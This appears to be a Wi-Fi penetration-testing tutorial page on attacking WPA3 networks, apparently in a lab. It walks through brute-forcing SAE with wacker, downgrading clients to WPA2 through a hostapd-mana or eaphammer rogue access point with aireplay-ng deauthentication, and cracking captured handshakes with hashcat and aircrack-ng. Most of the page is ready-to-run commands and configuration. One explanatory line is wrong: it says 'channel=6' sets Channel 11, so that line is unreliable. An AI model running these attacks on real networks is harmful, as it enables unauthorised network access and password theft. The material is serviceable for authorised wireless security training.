> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/wpa3.md).

# WPA3

### Bruteforcing WPA3

In WPA3 networks, it is still possible to brute force until the password is found. To do this, we can use “wacker”.

#### Setting up Wacker

{% embed url="<https://github.com/ammartiger/wacker>" %}

Make the script executable

```
chmod +x wacker.py  
```

Now make wpa supplicant binary executable

```
chmod +x wpa_supplicant-2.10/wpa_supplicant/wpa_supplicant 
```

#### **Tab 1: Target Discovery**

Identify the WPA3 network details.

```
airodump-ng --band abg wlan8mon
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fbo1LeGb4iWSfJTeVNTs1%2Fimage.png?alt=media&amp;token=b6b7f9c4-8633-4892-b8bd-0dc409ddb134" alt=""><figcaption></figcaption></figure>

* Target SSID: `SweetB-WPA3`
* BSSID: `02:00:00:00:02:00` (Note: Use the specific MAC shown in your scan)
* Channel: `36`
* Encryption: Look for WPA3 CCMP SAE.

#### **Tab 2: The Wacker Attack**

Wacker is a specialized tool that automates the SAE authentication loop to test passwords.

* Navigate to Tool: `cd /home/rogue1/opt/wacker/`
* Command:

```
./wacker.py --wordlist /home/rogue1/opt/rockyouwifi.txt --interface wlan5 --ssid SweetB-WPA3 --bssid 02:00:00:00:02:00 --freq 5180
```

* Flag Breakdown:
  * `--wordlist`: Path to your dictionary file.
  * `--interface`: Use a managed interface (e.g., `wlan1`), NOT a monitor mode interface, as Wacker interacts with the `wpa_supplicant` stack.
  * `--freq`: The frequency in MHz (e.g., Channel 36 = `5180`).
* Success: When the password is found, it will output: `Found the password: 'password1'`.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FgZi6zzb6QppiMBDFiAT8%2Fimage.png?alt=media&amp;token=b62315d4-06b6-419f-8d50-6f8219ffe1a1" alt=""><figcaption></figcaption></figure>

### WPA3 downgrade attack  <a href="#id-14-what-is-the-wifi-it-password" id="id-14-what-is-the-wifi-it-password"></a>

If a network with WPA3 SAE has a client configured for WPA2/WPA3, we can perform a downgrade against the client, forcing it to connect to our RogueAP with WPA2, obtaining the handshake to crack it later, as in the case of Wi-Fi offices. In this case, we can see that the AP uses **SAE and PSK,** so maybe the **clients accept PSK too**. We can get this information in the airodump-ng “.csv” file.

First, do the reconnaissance and observe the channel of our target Network.

```
sudo airodump-ng wlan0mon --band abg
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FxGFPkqeIJywBYbjqjZXD%2Fimage.png?alt=media&amp;token=e7937fae-daae-4cd4-bc1e-76f3e43aa38d" alt=""><figcaption></figcaption></figure>

Now, capture the packets and write them to a file.

```
sudo airodump-ng wlan0mon -c 11 -w wifi-IT
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F9db5tf5xwGD6OWjGevQ0%2Fimage.png?alt=media&amp;token=9e1e1830-9e8a-497e-9bfe-4ab593e295af" alt=""><figcaption></figcaption></figure>

We will get a CSV file. And if we look closely, we can see that our target Network does support WPA2 PSK as well

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F863RrmN9pQu1Zd6ho4nj%2Fimage.png?alt=media&amp;token=b50663de-715b-4395-87ac-476f79a803a2" alt=""><figcaption></figcaption></figure>

We can also check if the AP has MFP(802.11w) with Wireshark:

Open the captured pcap file with Wireshark and look for management frame protection.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FKMFyA5uAAlUtJkMHdN6S%2Fimage.png?alt=media&amp;token=56314634-9b43-4401-8419-ae3b32043d64" alt=""><figcaption></figcaption></figure>

In this case, 802.11w is disabled, so we can deauth:

Now, we can create our **config file** for our **rogue AP**.

**hostapd-sae.conf**

```bash
interface=wlan1
driver=nl80211
hw_mode=g
channel=6
ssid=wifi-IT
mana_wpaout=hostapd-management.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
```

{% hint style="info" %} <mark style="color:red;">**We need to change the channel to some other channel for our rogue AP otherwise it does not work**</mark>
{% endhint %}

This is a **Hostapd configuration file** used to set up a **fake access point (AP)** for penetration testing purposes. Here’s a breakdown of each line:

***

* `interface=wlan1` → Specifies that **wlan1** is the wireless network interface to be used for hosting the fake AP.
* `driver=nl80211` → Uses the **nl80211** driver, which is common for modern Linux-based wireless devices.
* `hw_mode=g` → Sets the **802.11g** standard, which operates on the **2.4 GHz** band and supports speeds up to **54 Mbps**.
* `channel=6` → Specifies **Channel 11** for the AP.
* `ssid=wifi-IT` → This is the **SSID (Wi-Fi network name)** that the AP will broadcast.
* `mana_wpaout=hostapd-management.hccapx` → Captures WPA handshakes and saves them in the **HCCAPX format**, which is used for offline password cracking with **Hashcat**.
* `wpa=2` → Configures **WPA2 encryption** (stronger than WPA1).
* `wpa_key_mgmt=WPA-PSK` → Uses **Pre-Shared Key (PSK)** authentication.
* `wpa_pairwise=TKIP CCMP` → Supports both **TKIP** (legacy) and **CCMP (AES-based, stronger encryption)**.
* `wpa_passphrase=12345678` → Sets the **Wi-Fi password** to `12345678`.

***

#### **What This Configuration Does**

✅ Creates a **fake Wi-Fi network** named `"wifi-IT"` on **channel 6**.\
✅ Uses **WPA2-PSK encryption** with the password `"12345678"`.\
✅ Captures **WPA handshakes** in **HCCAPX format** for cracking later.\
✅ Uses **wlan1** interface with **nl80211** driver.

```bash
hostapd-mana hostapd-sae.conf
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fq5BjfGisNZ3BHHe0a0q1%2Fimage.png?alt=media&amp;token=bcf3671d-aa54-4233-b8ca-e898c06690c5" alt=""><figcaption></figcaption></figure>

```bash
# In this case, 802.11w is disabled, so we can deauth
iwconfig wlan0mon channel 11
aireplay-ng wlan0mon -0 0 -a F0:9F:C2:1A:CA:25  -c 10:F9:6F:AC:53:52
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FB5sO8X1lOJrddKkmlxq2%2Fimage.png?alt=media&amp;token=caa9625b-74d1-4e23-8fb7-b3c7d4e7ca90" alt=""><figcaption></figcaption></figure>

And you will be able to capture the handshake.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FlC4WSsWlNXrTmNRQAAHK%2Fimage.png?alt=media&amp;token=90a1427e-1a24-485b-b345-d170c57955d8" alt=""><figcaption></figcaption></figure>

Copy the hash from the terminal to a new file

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FmKQTtVKyjgJUJMYZp5bm%2Fimage.png?alt=media&amp;token=6e0bd5bb-d5c8-4832-9aa8-eb8d89191ee7" alt=""><figcaption></figcaption></figure>

```
nano hash.txt
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F8pmFb5WJBQAklR7ucU0m%2Fimage.png?alt=media&amp;token=b4e8f56b-847a-4fab-a5f9-d984102ae758" alt=""><figcaption></figcaption></figure>

Crack outside the VM or with a new version of hashcat.

```bash
sudo hashcat -a 0 -m 22000 hash.txt ~/10-million-password-list-top-100000.txt --force
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FMpiVqQgfpQPQ6JMi9RDZ%2Fimage.png?alt=media&amp;token=200a5d89-9996-42cc-95ad-53aff553cedb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F5clrNTnNhC82qnFeMrbq%2Fimage.png?alt=media&amp;token=96de8d30-1757-431f-85c4-0900544397f6" alt=""><figcaption></figcaption></figure>

#### 2nd Method - Using EAPhammer

Eaphammer can also be used to start rogue AP.

```
sudo eaphammer -i wlan1 -c 6 --auth wpa-psk -e wifi-IT --creds
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fn5wG4GVNSdhy6kRnnNcK%2Fimage.png?alt=media&amp;token=b7153992-2222-4a1d-85cf-06a0c838b019" alt=""><figcaption></figcaption></figure>

Now start monitoring the original AP by fixating on the channel.

```
 sudo airodump-ng wlan0mon -c 11 
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FFLxwWNfr1ffyNMkUrSk8%2Fimage.png?alt=media&amp;token=f73b46b1-62a3-4983-94e1-0fdcd25f07b4" alt=""><figcaption></figcaption></figure>

In another tab, do the deauth attack against the original AP

```
sudo aireplay-ng wlan0mon -0 0 -a F0:9F:C2:1A:CA:25  -c 10:F9:6F:AC:53:52
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FvU7uw3NOABv6wt3EtNGH%2Fimage.png?alt=media&amp;token=2329802c-29b8-46c5-8c90-4446a814b560" alt=""><figcaption></figcaption></figure>

Once the client connects to our rogue AP, we get our handshake.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FxQ33QS23gT3dQnzKwjrH%2Fimage.png?alt=media&amp;token=6c0693bb-0470-4a30-9eb4-b49074ac31d0" alt=""><figcaption></figcaption></figure>

Copy the captured handshake to the current directory

```
cp /var/lib/eaphammer/loot/wpa_handshake_capture-2026-03-25-14-55-16-alBEtUvMusxDe51Dxcgf0r6zRP1psWKA.hccapx .
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FWAJGVH4ClOhVizdBrze5%2Fimage.png?alt=media&amp;token=33d1b960-1c7b-4236-85b4-4027971dd401" alt=""><figcaption></figcaption></figure>

Now we can use Aircrack to crack the password

```
sudo aircrack-ng wpa_handshake_capture.hccapx -w ~/10-million-password-list-top-100000.txt
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FgIw887L2EuqiziVpntRR%2Fimage.png?alt=media&amp;token=dc2a40ce-1a9b-4e70-98fc-d255c90d3980" alt=""><figcaption></figcaption></figure>

For cracking with hashcat we need to convert this file.

```
hcxhash2cap --hccapx=wpa_handshake_capture.hccapx -c wpa3.pcap
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FGV9d7b3ZpZKcV6tSd30s%2Fimage.png?alt=media&amp;token=74d4e5cb-1887-4a32-85f4-91b0e2936e82" alt=""><figcaption></figcaption></figure>

Export the 22000 hash mode from the pcap

```
hcxpcapngtool wpa3.pcap -o wpa3.22000
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FdggDhaeuq5tgBWegjNgl%2Fimage.png?alt=media&amp;token=e23d952a-6b63-4598-92c4-df86347c8b35" alt=""><figcaption></figcaption></figure>

Now, crack outside the VM or with a new version of hashcat.

```
sudo hashcat -a 0 -m 22000 wpa3.22000 ~/10-million-password-list-top-100000.txt --force
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F8ypVV53FDfhan2K0NNdl%2Fimage.png?alt=media&amp;token=8361bd7a-2fc9-48b2-a63f-7e9b7f95a2a3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FXXj0RAFtwJfjDLkap2iE%2Fimage.png?alt=media&amp;token=06dfacc1-9608-409d-9540-b8b51b9b4444" alt=""><figcaption></figcaption></figure>

### Tip: Deleting the Hashcat potfile

```
find / -name "*.potfile" 2>/dev/null
rm -rf /root/.local/share/hashcat/hashcat.potfile
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FANKaEZCIWYYejm0ruxD5%2Fimage.png?alt=media&amp;token=5ec3804c-fbe0-4a0c-bd16-63de6dc6cb55" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.udemy.com/course/wifi-hacking-wireless-penetration-testing/?referralCode=D8572F8D3CF528F93BEB>" %}
